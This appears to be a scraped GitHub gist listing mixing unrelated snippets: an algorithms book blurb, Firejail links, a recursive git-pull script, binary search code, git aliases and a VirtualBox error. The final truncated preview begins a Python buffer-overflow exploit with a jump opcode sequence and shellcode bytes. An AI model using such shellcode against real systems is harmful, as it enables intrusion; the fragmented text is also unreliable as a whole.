Author: Aditya Bhargava
Description: A beginner-friendly guide to algorithms with intuitive explanations and visuals. Ideal for learning core concepts without heavy math.
Tags: Algorithms, Beginner-Friendly, Problem-Solving
https://github.com/netblue30/firejail
https://firejail.wordpress.com/documentation-2/
Firejail é uma ferramenta de sandbox que permite isolar processos no Linux com controles rígidos sobre rede, sistema de arquivos, permissões e mais — tudo com um simples comando.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| function git_pull_recursive() { | |
| for dir in "$1"/*; do | |
| if [ -d "$dir" ]; then | |
| cd "$dir" || exit | |
| if [ -d ".git" ]; then | |
| echo "> Updating repository -> $(pwd)" | |
| git pull | |
| fi | |
| git_pull_recursive "$dir" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import sys | |
| def binary_search_in_file(file_name, desired_element): | |
| start = 0 | |
| end = None | |
| with open(file_name, 'r') as file: | |
| file_size = file.seek(0, 2) | |
| end = file_size | |
| while start <= end: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| export const search=(arr:Array<number>,target:number) =>{ | |
| let loops =1 | |
| let indexStart = 0; | |
| let indexEnd = arr.length - 1; | |
| while(indexStart <= indexEnd){ | |
| const indexMid = Math.floor((indexStart + indexEnd) / 2); | |
| if(arr[indexMid] === target){ | |
| console.log('loop N ->',loops) | |
| return indexMid | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # for edit, run: | |
| # git config --global --edit | |
| # alias snippet above | |
| [alias] | |
| s = !git status -s | |
| c = !git add --all && git commit -m | |
| l = !git log --pretty=format:'%C(blue)%h%C(red)%d %C(white)%s - %C(cyan)%cn,%C(green)%cr' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| “Failed to open the hard disk E:\VirtualBox VMs\Windows 8 \Windows 8 Enterprise2.vhd. | |
| Cannot register the hard disk ‘E:\VirtualBox VMs\Windows 8 \Windows 8 Enterprise2.vhd’ | |
| {ca2bdc6a-a487-4e57-9fcd-509d0c31d86d} because a hard disk | |
| ‘E:\VirtualBox VMs\Windows 8 Enterprise\Windows 8 Enterprise2.vhd’ with UUID {ca2bdc6a-a487-4e57-9fcd-509d0c31d86d} already exists. | |
| Result Code: | |
| E_INVALIDARG (0x80070057) | |
| Component: | |
| VirtualBox | |
| Interface: | |
| IVirtualBox {3b2f08eb-b810-4715-bee0-bb06b9880ad2} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| import socket,time | |
| #jump memory code | |
| jmp = "\x83\xEB\x32"*8 | |
| jmp += "\xff\xe3" | |
| #exploit code | |
| buf = "" | |
| buf += "\xbe\xa8\x9a\x2c\x48\xda\xce\xd9\x74\x24\xf4\x5d\x31" |